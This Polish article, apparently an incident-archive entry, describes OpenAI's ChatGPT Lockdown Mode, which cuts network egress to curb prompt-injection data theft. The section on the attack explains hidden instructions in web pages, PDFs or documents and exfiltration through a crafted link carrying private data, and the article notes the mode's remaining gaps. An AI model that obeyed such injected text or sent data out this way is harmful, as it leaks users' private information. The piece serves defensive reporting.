ChatGPT Lockdown Mode: ustawienie stworzone przez OpenAI, by zagłodzić prompt injection

13 lutego 2026 r. OpenAI ogłosiło Lockdown Mode, opcjonalne ustawienie ChatGPT, które ogranicza to, co asystent może wysyłać do sieci, dzięki czemu atak typu prompt injection nie ma drogi do wyniesienia skradzionych danych. Przeglądanie zostaje ograniczone do treści z pamięci podręcznej, żadne aktywne żądanie nie opuszcza kontrolowanej sieci OpenAI, a każda funkcja, której nie można dać deterministycznej gwarancji bezpieczeństwa, jest wyłączana, a nie filtrowana. Najpierw trafiło do ChatGPT Enterprise, ChatGPT Edu, ChatGPT for Healthcare i ChatGPT for Teachers, włączane przez administratorów przestrzeni roboczych, a konsumentom obiecano dostęp „w nadchodzących miesiącach” — obietnicę, którą ta sama strona OpenAI odnotowuje jako dotrzymaną 4 czerwca 2026 r. Nie przypisuje się żadnego naruszenia, ofiary ani utraty danych: AI Incident Archive klasyfikuje to jako wpis dotyczący polityki o poziomie istotności informacyjnej z oceną pewności A. Lista cytowań wpisu oraz wpisy dotyczące ładu zarejestrowane po obu jego stronach są przechowywane w Orca AI Incident Archive, które również linkuje do głównego ogłoszenia OpenAI.

Co wyłącza Tryb blokady

OpenAI przedstawia Lockdown Mode jako ustawienie dla „niewielkiego grona użytkowników wyjątkowo dbających o bezpieczeństwo — takich jak kadra kierownicza lub zespoły ds. bezpieczeństwa w znanych organizacjach — którzy wymagają zwiększonej ochrony przed zaawansowanymi zagrożeniami” i wprost stwierdza, że „nie jest ono konieczne dla większości użytkowników”. Jego działanie polega na ograniczaniu możliwości. Poniższa lista pochodzi od OpenAI i została zaczerpnięta z ogłoszenia oraz z artykułu w centrum pomocy dotyczącego Lockdown Mode, do którego prowadzi link w tym ogłoszeniu.

• Przeglądanie stron internetowych na żywo. Przeglądanie jest ograniczone do zawartości z pamięci podręcznej, więc żadne żądania sieciowe na żywo nie opuszczają kontrolowanej sieci OpenAI. Wyniki wyszukiwania „mogą być ograniczone, niedostępne lub nieaktualne”.

• Obsługa obrazów. ChatGPT może nie wyświetlać obrazów w zwykłych odpowiedziach ani nie pobierać obrazów z sieci. Przesyłanie plików obrazów nadal działa, a generowanie obrazów pozostaje dostępne tam, gdzie w przeciwnym razie by było.

• Deep Research. Wyłączone. Aktualizacja OpenAI z 4 czerwca precyzuje, że obejmuje to również badania zakupowe.

• Tryb agenta. Wyłączony.

• Sieć Canvas. Użytkownicy nie mogą zatwierdzić kodu generowanego przez Canvas, aby uzyskać dostęp do sieci.

• Pobieranie plików. ChatGPT nie może pobierać plików do analizy danych. Nadal może pracować na plikach przesyłanych ręcznie przez użytkownika.

• Aktywne łączniki i akcje zapisu w aplikacjach. W przypadku kont osobistych i samoobsługowych kont Business artykuł w centrum pomocy mówi, że aktywny dostęp do usług zewnętrznych i akcje zapisu w aplikacjach są blokowane, gdy kolidują z zabezpieczeniami trybu, oraz że „Finances in ChatGPT i doświadczenia agenta zakupowego” są niedostępne.

Trzy rzeczy, których Lockdown Mode wyraźnie nie obejmuje: pamięć, przesyłanie plików oraz to, czy rozmowa może zostać wykorzystana do ulepszania modeli. Nie wpływa też na dostęp do sieci w Codex, asystencie programowania OpenAI — warto o tym pamiętać, ponieważ Codex jest jednym z produktów, które odpowiadają za drugą połowę tego ogłoszenia.

Ten atak ma na celu zagłodzenie go.

Wstrzykiwanie promptów to klasa ataków. Strona trzecia ukrywa instrukcje w treści, którą model będzie czytać — na stronie internetowej, w pliku PDF, we współdzielonym dokumencie — a model traktuje te instrukcje jako prawowite, działając na ich podstawie lub ujawniając to, co znajduje się w rozmowie. Według samego OpenAI ryzyko polega na tym, że przeciwnik „próbuje wprowadzić w błąd system AI konwersacyjnej, aby postępował według złośliwych instrukcji lub ujawnił wrażliwe informacje”. W połączonym asystencie ładunek nie musi być sprytny; potrzebuje ścieżki wyjściowej. Spreparowany link, taki jak attacker.example/collect?data= po którym następują prywatne dane, wystarczy, ponieważ dane trafiają do logów serwera atakującego i w czacie nie pojawia się nic podejrzanego.

Większość zabezpieczeń próbuje powstrzymać model przed wykonywaniem poleceń. Lockdown Mode tego nie robi. Zamiast tego usuwa ścieżki wyjściowe, dlatego OpenAI wciąż używa słowa „deterministyczny”: ograniczenie jest egzekwowane przez mechanizmy produktu, a nie przez osąd modelu, więc ładunek, który wygra spór, i tak nie ma gdzie wysłać łupów. Mówiąc słowami samego ogłoszenia, Lockdown Mode „deterministycznie wyłącza w ChatGPT niektóre narzędzia i możliwości, które przeciwnik mógłby próbować wykorzystać do eksfiltracji danych wrażliwych”.

Czego OpenAI nie twierdzi

Ograniczenia są podawane przez OpenAI, a nie wyodrębniane z niego, i mają większe znaczenie niż lista funkcji. Artykuł w centrum pomocy mówi, że Lockdown Mode „nie zapobiega pojawianiu się prompt injection w treściach przetwarzanych przez ChatGPT”, i podaje bezpośredni przykład: wstrzyknięcie w treści internetowej z pamięci podręcznej lub w przesłanym pliku „nadal może wpływać na zachowanie lub dokładność odpowiedzi”. Wstrzyknięcie nadal dociera. Zamknięte jest tylko wyjście.

Zapytane o gwarancje OpenAI powiedziało prasie branżowej, czego nie obiecuje. „Lockdown Mode ma na celu istotne ograniczenie ryzyka eksfiltracji danych opartej na wstrzykiwaniu podpowiedzi, ale nie gwarantuje, że eksfiltracja danych nie może wystąpić” – stwierdziła firma, dodając, że „ryzyko może nadal występować za pośrednictwem włączonych aplikacji, nieprzewidzianych kombinacji funkcji lub nowo odkrytych technik” (cytowane przez The Next Web, 7 czerwca 2026 r.). Aplikacje są widoczną luką: w zarządzanych obszarach roboczych Lockdown Mode „nie wyłącza automatycznie każdej aplikacji”, a centrum pomocy doradza administratorom, że akcje odczytu lub zapisu w przypadku niezaufanych aplikacji są „niezalecane”, oraz że akcji zapisu należy unikać nawet w przypadku zaufanych aplikacji, w odniesieniu do których nie można potwierdzić, że ich skutki uboczne są ukryte przed złośliwym podmiotem.

Etykieta „Podwyższone ryzyko” i czym ona nie jest

Drugą połowę ogłoszenia z 13 lutego stanowi zmiana etykietowania, a nie mechanizm kontroli. OpenAI ujednoliciło brzmienie na „krótkiej liście” istniejących funkcji, które wiążą się z nierozstrzygniętym ryzykiem sieciowym, tak aby ta sama etykieta „Elevated Risk” pojawiała się w ChatGPT, ChatGPT Atlas i Codex — argumentem firmy jest to, że użytkownicy powinni otrzymywać identyczne wskazówki wszędzie, gdzie spotykają tę samą funkcję. Przykładem jest Codex: deweloper przyznający asystentowi kodowania dostęp do sieci w celu wyszukiwania dokumentacji widzi teraz etykietę na ekranie ustawień, obok listy dozwolonych domen i dozwolonych metod HTTP, wraz z wyjaśnieniem, co się zmienia i kiedy taki dostęp jest odpowiedni.

Etykieta jest ostrzeżeniem, a nie blokadą. Funkcja nadal działa, gdy użytkownik ją zaakceptuje. OpenAI ustaliło również własny warunek wygaśnięcia: „usunie etykietę »Podwyższone ryzyko«, gdy stwierdzimy, że postęp w dziedzinie bezpieczeństwa wystarczająco złagodził te ryzyka na potrzeby ogólnego użytku”, i będzie stale zmieniać, które funkcje ją noszą. To wyjątkowo wyraźne przyznanie, że lista jest migawką tego, co firma obecnie uznaje za domyślnie niebezpieczne.

Od roli korporacyjnej do przełącznika w Ustawieniach

Lutowe wydanie było przeznaczone wyłącznie dla przedsiębiorstw i było zarządzane przez administratorów, a nie wybierane przez użytkowników. Administratorzy w ChatGPT Enterprise, Edu, for Healthcare i for Teachers włączyli je w Workspace Settings, tworząc nową rolę, która nakładała dodatkowe ograniczenia na wszystko, co przestrzeń robocza już egzekwowała. Administratorzy zachowali szczegółową kontrolę, wybierając dokładnie, które aplikacje i które konkretne działania w tych aplikacjach pozostają dostępne — ustępstwo, które OpenAI wyjaśniło, zauważając, że „niektóre krytyczne przepływy pracy zależą od aplikacji”. Niezależnie od trybu, Compliance API Logs Platform zapewnia administratorom wgląd w użycie aplikacji, udostępniane dane i połączone źródła.

Obietnica złożona konsumentom została dotrzymana 4 czerwca 2026 r., gdy OpenAI dodało notatkę o aktualizacji na górze tej samej strony z ogłoszeniem: Lockdown Mode był wdrażany „do osobistych kont ChatGPT, a także do samoobsługowych kont ChatGPT Business”, dostępny w Ustawieniach, z ponownie podaną listą ograniczeń obejmującą dostęp do sieci na żywo, obsługę obrazów w odpowiedziach, Deep Research, w tym badania zakupowe, Agent Mode, sieciowanie Canvas, konektory na żywo i pobieranie plików. PCMag poinformował o wdrożeniu 6 czerwca 2026 r., a The Next Web 7 czerwca 2026 r.; The Cyber Express, który relacjonował lutowe ogłoszenie 18 lutego, zauważył w czerwcowym uzupełnieniu, że ustawienie trafiło do kont Free, Go, Plus i Pro. Relacja The Next Web dodaje dwa szczegóły operacyjne, których nie ma we wpisie OpenAI: Lockdown Mode i Developer Mode nie mogą być włączone jednocześnie, a OpenAI udostępniło wraz z nim osobną funkcję zarządzania sesjami, pozwalającą użytkownikom przeglądać aktywne sesje i wylogowywać poszczególne urządzenia.

Co jest tutaj ustalone, a co nie

Wszystko powyżej o tym, jak działa ten tryb, to relacja samego OpenAI, powtórzona przez media, które pracowały na podstawie tego samego wpisu. Relacje z lutego — eWeek z 17 lutego 2026 r., The Cyber Express z 18 lutego 2026 r. oraz grupa regionalnych redakcji technologicznych, w tym ZDNet Japan i Techlusive — opisują tę funkcję dokładnie, ale nie dodają żadnych niezależnych testów: żadna z relacji przeczytanych na potrzeby tego artykułu nie podaje, by próbowano obejść Lockdown Mode, a samo ogłoszenie nie powołuje się na żadną zewnętrzną ocenę bezpieczeństwa. To ograniczenie tego, co może ci przekazać materiał źródłowy. Ocena pewności archiwum wynosząca A opisuje, jak dobrze udokumentowane jest to zdarzenie i w jakim stopniu zgadzają się jego źródła pierwotne, a nie jak dobrze działa to zabezpieczenie.

Wpis ten nie wskazuje też na żadną rzeczywistą szkodę. To pozycja dotycząca polityki, a nie incydent: żadna organizacja nie jest wymieniona jako ofiara, nie odnotowano żadnej eksfiltracji danych, a nic tutaj nie dowodzi, że publikacja została spowodowana konkretnym atakiem. OpenAI przedstawia Lockdown Mode jako uzupełnienie istniejących zabezpieczeń — piaskownicy, mechanizmów obrony przed eksfiltracją danych opartych na adresach URL, monitorowania i egzekwowania, dostępu opartego na rolach oraz dzienników audytu — a nie jako reakcję na ujawniony incydent.

Toczy się żywy spór o to, co oznacza ta funkcja, i należy go oznaczyć jako spór. The Cyber Express w czerwcowym tekście analitycznym postawił pytanie, czy samo istnienie Lockdown Mode jest przyznaniem, że ChatGPT w domyślnych ustawieniach „nie zapewnia solidnej ochrony przed wystarczająco zdeterminowanymi atakami eksfiltracji danych”, i odpowiedział, że OpenAI „wydaje się temu nie zaprzeczać” — odczytując ten tryb jako „mechanizm kontrolny ostatniej linii obrony”, a nie mechanizm kontrolny przeciwko wstrzyknięciom. To interpretacja felietonisty, a własny tekst OpenAI potwierdza jej faktyczną połowę, nie zawierając przy tym takiego przyznania. Archiwum nie oznacza tego wpisu jako spornego, a pod względem faktycznym taki nie jest: niezgoda dotyczy sposobu ujęcia, a nie tego, co robi to ustawienie.

To, co czytelnik może sprawdzić, nie ufając nikomu, jest niewielkie, ale realne. Ustawienie albo występuje w mechanizmach kontroli bezpieczeństwa konta, albo nie, a lista ograniczeń albo odpowiada opisowi OpenAI, albo nie. Te części, których nie da się sprawdzić z zewnątrz, są najważniejsze: czy deterministyczne ograniczenia wytrzymują wobec przeciwnika, który naprawdę podejmuje próby, oraz czy aplikacje i działania, które administrator pozostawia włączone, otwierają na nowo ścieżkę, którą ten tryb miał zamknąć. Zastrzeżenie samego OpenAI — ryzyko może pozostać przez włączone aplikacje, nieprzewidziane kombinacje możliwości lub nowo odkryte techniki — jest uczciwym podsumowaniem stanu rzeczy.